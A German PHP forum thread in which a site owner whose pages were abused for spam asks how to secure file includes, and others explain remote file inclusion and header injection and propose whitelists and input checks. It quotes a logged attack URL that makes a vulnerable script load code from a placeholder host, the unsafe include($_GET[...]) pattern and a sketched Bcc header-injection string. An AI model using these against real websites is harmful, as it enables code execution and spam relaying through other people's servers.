Du bist nicht angemeldet (anmelden)
Seite 1
Spam über Include vermeiden?
Hallo,
ich habe kürzlich eine Email meines Provider-Supports erhalten. Darin heißt es, dass zwei meiner Webseiten für Spam missbraucht wurden, weil es möglich war, http-Adressen über Include einzubinden. Wie das funktioniert, weiß ich nicht genau. Infos hier im Support-Blog..
Nun meine Frage: Wie kann ich mit meinen bescheidenen PHP-Kenntnissen meine Seite so abändern, dass der Include eigener Dateien sicher ist, ohne externen Zugriff? Jede Seite (außer Index) fängt folgendermaßen an:
Lässt sich meine Frage so schon beantworten? Braucht ihr weitere Infos?!?
ich habe kürzlich eine Email meines Provider-Supports erhalten. Darin heißt es, dass zwei meiner Webseiten für Spam missbraucht wurden, weil es möglich war, http-Adressen über Include einzubinden. Wie das funktioniert, weiß ich nicht genau. Infos hier im Support-Blog..
Nun meine Frage: Wie kann ich mit meinen bescheidenen PHP-Kenntnissen meine Seite so abändern, dass der Include eigener Dateien sicher ist, ohne externen Zugriff? Jede Seite (außer Index) fängt folgendermaßen an:
<?php include('header.php');?><!-- ****************** //--><!-- Abschnitt: Sidebar //--><!-- ****************** //--><?php include('sidebar.php'); ?><!-- ****************** //--><!-- Abschnitt: Inhalt //--><!-- ****************** //--><div id="inhalt">...hier kommt dann der Inhalt im Body...
Lässt sich meine Frage so schon beantworten? Braucht ihr weitere Infos?!?
Vermutlich über den $_GET Parameter, oder?
Wie übergibst du deine Variablen in den scripten?
Bzw wie sieht deine Navi aus?
Wie übergibst du deine Variablen in den scripten?
Bzw wie sieht deine Navi aus?
Ja und nein.
Du hast irgendwo ein
Das is ziemlich fatal.
Du solltest alle deine include Dateien in ein Verzeichnis legen und mit file_exists überprüfen ob sie existieren.
Dann hast du auf jeden Fall nur lokale Dateien included.
Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!
Du hast irgendwo ein
include($_GET['irgendwas']); // oder auch ohne das $_GET wen register globals an ist
Das is ziemlich fatal.
Du solltest alle deine include Dateien in ein Verzeichnis legen und mit file_exists überprüfen ob sie existieren.
if((isset()$_GET['irgendwas']) AND file_exists(dirname(__FILE__) . "/path/from/here/" . $_GET['irgendwas'])) { include(dirname(__FILE__) . "/path/from/here/" . $_GET['irgendwas']) ...}
Dann hast du auf jeden Fall nur lokale Dateien included.
Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!
Clemens schrieb am 19.03.08, 11:02 Uhr:
Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!
Ach komm'! Ist ja ein guter Rat, aber den letzten
Clemens schrieb am 19.03.08, 11:02 Uhr:
Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!
Zum einen wusste ich nicht, dass es sich um eine Sicherheitslücke handelt. Zum anderen hab ich persönlich ja keine sensiblen Daten, die ich schützen müsste...
phloo schrieb am 19.03.08, 10:57 Uhr:
Wie übergibst du deine Variablen in den scripten?
Bzw wie sieht deine Navi aus?
z.B. mit „http://www.domain.de/referenzen.php?seite=2“... Meinst du das?
Die Sidebar sieht so aus:
<?php include('changelanguage.php'); ?><div id="deko"><h1 class="kopfbereich"><a href="/"><img src="img/<?=("de"==$sprache)?"":"en/";?>header.png" alt="">" /></a></h1></div><div id="navi"><!-- Abschnitt: Sidebar, Navigation //--><h1>Navigation</h1><ul class="navlinks"><li><a href="/" accesskey="0"><?=("de"==$sprache)?"Start":"Home";?></a></li><li><a href="dissertation.php" accesskey="1">Dissertation</a></li><li><a href="lebenslauf.php" accesskey="2"><?=("de"==$sprache)?"Lebenslauf":"Curriculum Vitae";?></a></li><li><a href="referenzen.php" accesskey="3"><?=("de"==$sprache)?"Referenzen":"References";?></a></li><li><a href="links.php" accesskey="4">Links</a></li><li><a href="impressum.php" accesskey="5"><?=("de"==$sprache)?"Impressum":"Imprint";?></a></li><li><a class="lastlink" href="<?=GetLangLink($sprache);?>" accesskey="6"><?=("de"!=$sprache)?"Deutsche Seite":"English Site";?></a></li></ul><p> </p><!-- Abschnitt: Sidebar, Aktuelles //--><h1>Aktuelles</h1><ul class="aktuelles"><!-- Hier stehen die aktuellen deutschen Neuigkeiten //--><li<?=("de"!=$sprache)?" class=\"sprachdisp\"":"";?>>Vortragsankündigung: „Nachhaltigkeit und Nutzerorientierung im Schnittstellenmanagement.“<a href="http://www.bremer-pflegekongress.de">Bremer Pflegekongress & Deutscher Wundkongress</a>,7.-8. Mai in Bremen.</li></ul></div><p> </p><!-- Abschnitt: Sidebar, Warebung //--><h1><?=("de"==$sprache)?"Empfehlungen":"Recommendations";?></h1><ul class="navlinks"><li><a href="http://zettelkasten.danielluedecke.de" title="Zettelkasten - nach Luhmann">Zettelkasten</a></li><li><a href="http://www.mozilla.com" title="Mozilla - Take back the Web">Mozilla</a></li><li><a href="http://<?=("de"==$sprache)?"de":"www";?>.openoffice.org" title="Open Office - Free your Data">Open Office</a></li><li><a href="http://www.mandriva.com/en/product/mandriva-linux-one" title="Mandriva Linux">Mandriva Linux</a></li><li><a class="lastlink" href="http://www.kubuntu<?=("de"==$sprache)?"-de":"";?>.org" title="Kubuntu Linux - Sharper design and advances in security">Kubuntu Linux</a></li></ul></div>
Nachtrag: $_GET kommt in drei Dateien vor.
Die erste setzt das Title-Tag:
Zwei und Drei sind für die Sprache da:
Die erste setzt das Title-Tag:
<?phpfunction GetTitelZusatz($spr){$pfad_info = pathinfo($_SERVER[PHP_SELF]);$retval = "";if(stristr($pfad_info["basename"],"dissertation")!=false) $retval = ("de"==$spr)?" Doktorarbeit.":" Doctoral Thesis.";if(stristr($pfad_info["basename"],"lebenslauf")!=false) $retval = ("de"==$spr)?" Lebenslauf.":" Curriculum Vitae.";if(stristr($pfad_info["basename"],"links")!=false) $retval = " Links.";if(stristr($pfad_info["basename"],"impressum")!=false) $retval = ("de"==$spr)?" Impressum & Kontakt.":" Imprint & Contact.";if(stristr($pfad_info["basename"],"referenzen")!=false){$retval = ("de"==$spr)?" Referenzen":" References";$p = $_GET['seite'];if("de"==$spr){if(empty($p) || $p=="1") $retval = $retval." - Publikationen.";if($p=="2") $retval = $retval." - Vorträge.";if($p=="3") $retval = $retval." - Vorträge (Co-Autor).";if($p=="4") $retval = $retval." - Webdesign/Programmieren.";if($p=="5") $retval = $retval." - Lehrtätigkeiten.";if($p=="6") $retval = $retval." - Vorträge (sonstige).";}else{if(empty($p) || $p=="1") $retval = $retval." - Publications.";if($p=="2") $retval = $retval." - Presentations.";if($p=="3") $retval = $retval." - Presentations (Co-Author).";if($p=="4") $retval = $retval." - Webdesign/Programming.";if($p=="5") $retval = $retval." - University Lectures.";if($p=="6") $retval = $retval." - Presentations (others).";}}return( $retval );}?>
Zwei und Drei sind für die Sprache da:
<?phpfunction GetLangLink($spr){$retval = "";if(isset($_GET['seite'])){$retval = "?seite=".$_GET['seite']."&lang=";}else if(isset($_GET['liste'])){$retval = "?liste=".$_GET['liste']."&lang=";}else{$retval = "?lang=";}if("de"==$spr){$retval = $retval."en";}else{$retval = $retval."de";}return( $retval );}?>
<?phpif(isset($_GET['lang'])){$sprache = $_GET['lang'];}if(empty($sprache)||!isset($sprache)){$sprache = "de";if(isset($_COOKIE["dl_spr"])||!empty($_COOKIE["dl_spr"])){$sprache = $_COOKIE["dl_spr"];}}else{setCookie("dl_spr",$_GET['lang'], time()*60*60*24*365);}?>
alexxxus schrieb am 19.03.08, 11:39 Uhr:
Clemens schrieb am 19.03.08, 11:02 Uhr:
Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!
Ach komm'! Ist ja ein guter Rat, aber den letztenScheissSatz hättest Du vielleicht auch weniger überheblich schreiben können. Das habe ich früher ganz genau so gecodet weil es in vielen Büchern einfach so drin stand.
Der letzte Satz klingt zwar arrogant, gehört aber zum guten Rat dazu.
Das ist das Problem mit PHP. Es gibt zuviele Leute die sich Fachmann schimpfen und sogar Bücher schreiben und die Einstiegshürde ist durch die vielen Infos/Bücher/Tutorials sehr niedrig.
Einerseits ist das natürlich positiv, aus professioneller Sicht aber bedenklich.
Deshalb wird PHP auch oft als „Kindersprache“ gewertet.
Toni: Du kannst deinem Provider allerdings auch sagen, dass er allow_url_fopen deaktivieren soll.
Der Satz von Clemens hat schon seine Richtigkeit. Mit leichtfertigen includes kann man unter Umständen einigen Schaden anrichten.
Um nicht direkte $_GET includes zu machen kannst du zB. ein switch() oder Array zwischenschalten.
Statt
Folgendes
Dann kannst du sichergehen dass nur die Dateien eingebunden werden welche du festlegst. Eine ähnliche Lösung kann man auch mit einem Array erzielen welches URL-token und Dateinamen verbindet. Ich arbeite meistens mit sowas.
Ist zwar ein bisschen komplizierter aber meistens nicht unpraktisch da man im selben Zug zB. auch seitenspezifische Titelinformationen, Stylesheets, etc. handhaben kann, falls nötig.
Um nicht direkte $_GET includes zu machen kannst du zB. ein switch() oder Array zwischenschalten.
Statt
include($_GET[file]);
Folgendes
$token = $_GET["token"];switch($token) {case "about":$inc_file = "about.php";break;case "contact":$inc_file = "contact.php";break;//etc}include("content/" . $inc_file);
Dann kannst du sichergehen dass nur die Dateien eingebunden werden welche du festlegst. Eine ähnliche Lösung kann man auch mit einem Array erzielen welches URL-token und Dateinamen verbindet. Ich arbeite meistens mit sowas.
Ist zwar ein bisschen komplizierter aber meistens nicht unpraktisch da man im selben Zug zB. auch seitenspezifische Titelinformationen, Stylesheets, etc. handhaben kann, falls nötig.
ich mag selbst keine klugscheißer, aber beim thema variablen gilt immer:
erst überprüfen und niemals einfach nur übernehmen.
andi held hat ja mit dem switch schon eine möglichkeit angesprochen, bei zahlen gibt es auch eine relativ simple lösung
so kann die variable nur vom typ integer sein ...
clemens' „allow_url_fopen deaktivieren“ ist auch eine gute variante, die meisten leute dürften das sowieso nicht nutzen. wenn du dich über andere mögliche gefahren schlau machen willst würde ich dir raten mal nach sql_injection zu suchen ...
–
suleitec
da habe ich auch noch einen account, allerdings nutze ich den gar nicht ...
erst überprüfen und niemals einfach nur übernehmen.
andi held hat ja mit dem switch schon eine möglichkeit angesprochen, bei zahlen gibt es auch eine relativ simple lösung
$p = (int) $_GET['seitenzahl'];
so kann die variable nur vom typ integer sein ...
clemens' „allow_url_fopen deaktivieren“ ist auch eine gute variante, die meisten leute dürften das sowieso nicht nutzen. wenn du dich über andere mögliche gefahren schlau machen willst würde ich dir raten mal nach sql_injection zu suchen ...
–
suleitec
eine möglichkeit wäre auch vor dem include() mit file_exists() zu prüfen, ob die datei auf deinem server existiert, mit preg_match() kannst du vorher prüfen, ob der übergebene string böse zeichen wie //: oder sowas in der art enthält (whitelist, also beispielsweise nur A-Z a-z 0-9 _ und - zulassen).
Was ich mich frage: Per Include binde ich ja nur existente Dateien ein. In den Parametern stehen dann ja nur noch Variablen, die den Dateipfad komplettieren. Bspw. wenn der Parameter „?seite=1“ übergeben wird, wird in der php-Datei folgendes gemacht:
„<?php if(empty($seite)||$seite<1||$seite>5)$seite=1; include(„referenzen_“.$seite.“.inc&ldquo
; ?>“
Wie kann sich da überhaupt 'ne andere Seite „reinschleichen“?
Ach ja, die zweite Domain, die von mir betroffen ist, ist mein Weblog. Das setzt aber komplett auf Wordpress auf, da kann ich nichts machen... Außer die Änderung in der htaccess.
„<?php if(empty($seite)||$seite<1||$seite>5)$seite=1; include(„referenzen_“.$seite.“.inc&ldquo
Wie kann sich da überhaupt 'ne andere Seite „reinschleichen“?
Ach ja, die zweite Domain, die von mir betroffen ist, ist mein Weblog. Das setzt aber komplett auf Wordpress auf, da kann ich nichts machen... Außer die Änderung in der htaccess.
Logan schrieb am 19.03.08, 21:21 Uhr:
eine möglichkeit wäre auch vor dem include() mit file_exists() zu prüfen, ob die datei auf deinem server existiert, mit preg_match() kannst du vorher prüfen, ob der übergebene string böse zeichen wie //: oder sowas in der art enthält (whitelist, also beispielsweise nur A-Z a-z 0-9 _ und - zulassen).
Beim Include stehen die Dateinamen ja schon fest. Das einzige, was geändert wird, ist der Parameter, um evtl. noch eine „1“ oder „2“ an den Namen anzuhängen (siehe voriger Post von mir) oder eben ein Parameter „Sprache“, die dann einen Cookie mit den Spracheinstellungen setzt.
jonis hat schon recht - es muss alles überprüft werden, was per parameter kommt (das kann sowohl cookie, session, oder halt post und get variablen sein)
beim beispiel deiner sprache kann man das z.b. so lösen, dass man vorher definiert, welche werte erlaubt sind und die mit den parametern abgleicht:
das kann man so auch für alle anderen get/post parameter machen - damit bist du immer auf der sicheren seite
beim beispiel deiner sprache kann man das z.b. so lösen, dass man vorher definiert, welche werte erlaubt sind und die mit den parametern abgleicht:
$erlaubteSprachen = array("de", "en");// defaultsprache setzen$sprache = "de";// überprüfung ob sprache korrekt ist:if ( in_array(strtolower($_GET["lang"]), $erlaubteSprachen) ) {// übergebener sprachwert ist gültig$sprache = strtolower($_GET["lang"]);}
das kann man so auch für alle anderen get/post parameter machen - damit bist du immer auf der sicheren seite
Toni schrieb am 20.03.08, 08:34 Uhr:
Logan schrieb am 19.03.08, 21:21 Uhr:
eine möglichkeit wäre auch vor dem include() mit file_exists() zu prüfen, ob die datei auf deinem server existiert, mit preg_match() kannst du vorher prüfen, ob der übergebene string böse zeichen wie //: oder sowas in der art enthält (whitelist, also beispielsweise nur A-Z a-z 0-9 _ und - zulassen).
Beim Include stehen die Dateinamen ja schon fest. Das einzige, was geändert wird, ist der Parameter, um evtl. noch eine „1“ oder „2“ an den Namen anzuhängen (siehe voriger Post von mir) oder eben ein Parameter „Sprache“, die dann einen Cookie mit den Spracheinstellungen setzt.
Wenn du dir da sicher bist, liegt es wohl nicht daran.
Du kannst ja nochmal nach einer anderen Stelel schauen, wo es evtl. möglich wäre einen include einzuschleusen. Ansonsten hat dein Provider wohl noch weniger Ahnung als er ohnehin schon zu haben schien (wegen des allow_url_fopen's).
Die nächstpopulärste Möglichkeit Spam über PHP Skripte einzuschlausen ist Header über ein Formular in Kontakt- und ähnlichen Mail-auf-Benutzereingabe-hin versendenden Skripten einzuschleusen.
Beispielsweise ein Formularskript das dir eine Mail schickt und den Namen des Formular ausfüllenden im From: Header einbaut.
Dort injiziert der Spammer dann ein Hello my Name is\n Bcc: Spam@...\n Bcc: ..
Das nennt sich allgemein Header-Injection und dürfte sich in den entsprechenden Suchmaschinen einfach finden lassen.
Es gibt einige Wordplress Plugins die diese Lücke enthalten.
Und spätestens jetzt, könnt ihr euch vorstellen, warum mich sowas ärgert, oder?
Jeder Depp kann ein unsicheres Wordpress Plugin veröffentlichen und es scheint ein Phänomen zu sein, dass man sich den Code solcher Plugins nicht anschaut (einem geschenkten Gaul schaut man nicht ins Maul...?). Jedenfalls spuken so etliche Spamschleudern fast ungestört im Netz rum.
Ich glaube auch, dass du einfach nochmal genauer nachfragen solltest ob sie dein Problem eingrenzen können. Sonst wird das hier zum Tanz mit der Wahrsagerkugel 
Nochmal zusammengefasst was du prüfen kannst:
PHP
- GET-/POST-Variablen
- Header Injection bei E-Mail-Formularen
- SQL Injection bei Datenbank-Queries
Wordpress
- aktuelle Version? (Spamlink Problem)
- Plugins (s.o. PHP)
Nochmal zusammengefasst was du prüfen kannst:
PHP
- GET-/POST-Variablen
- Header Injection bei E-Mail-Formularen
- SQL Injection bei Datenbank-Queries
Wordpress
- aktuelle Version? (Spamlink Problem)
- Plugins (s.o. PHP)
Also, wie gesagt, alles, was ich über Parameter übergebe, wird nicht mittels Include eingebunden, sondern entweder a) ein Dateiname erweitert
oder aber b) die parameter folgendermaßen verwendet:
Aber es kommt nicht vor, dass ich einen kompletten Parameter „sinnlos“ per Include einbinde.
Beim einbinden prüfe ich auch auf korrekte Variablen:
Der eine Fall scheint definitiv an Wordpress zu liegen. Was bei mir sonst noch sein kann, ist, dass das Kontaktformular unsicher ist.
Die haben mir die Log-Daten geschickt (wobei ich die eine Email schon gelöscht habe...). Aber zum Blog/Wordpress wurde z.B. folgende URL geschickt:
strengejacke.de/2006-09-18/classes/core/language.php?rootdir=http://böseurl/bds/sefe.txt??
Vll. sollte ich einfach auf blogspot oder so wechseln, dann hab ich keinen Ärger damit.
include(„referenzen_“.$seite.“.inc“);
oder aber b) die parameter folgendermaßen verwendet:
<h1><?=("de"==$sprache)?"Willkommen":"Welcome";?></h1>
Aber es kommt nicht vor, dass ich einen kompletten Parameter „sinnlos“ per Include einbinde.
Beim einbinden prüfe ich auch auf korrekte Variablen:
<?php if(empty($seite)||$seite<1||$seite>5)$seite=1; include("referenzen_".$seite.".inc"); ?>
Der eine Fall scheint definitiv an Wordpress zu liegen. Was bei mir sonst noch sein kann, ist, dass das Kontaktformular unsicher ist.
Die haben mir die Log-Daten geschickt (wobei ich die eine Email schon gelöscht habe...). Aber zum Blog/Wordpress wurde z.B. folgende URL geschickt:
strengejacke.de/2006-09-18/classes/core/language.php?rootdir=http://böseurl/bds/sefe.txt??
Vll. sollte ich einfach auf blogspot oder so wechseln, dann hab ich keinen Ärger damit.
Editiert: 05.02.11, 17:12 Uhr
Hab den Email-Injection Test erhalten, folgender Inhalt:Nachricht abgeschickt von:
————————–
Jonis - Supertopic
Email:
Nachricht:
———-
email injection test
Wie lautet das Testergebnis?
<meta name="generator" content="WordPress 2.3.1" />
→ upgrade auf 2.3.3
Dein E-Mail-Formular lässt zumindest maskierte Sonderzeichen durch (%40, %0A)
→ Lesetipp
e: ich bin kein profi was das checken von lücken angeht, deswegen hab ich wahrscheinlich auch nix bekommen

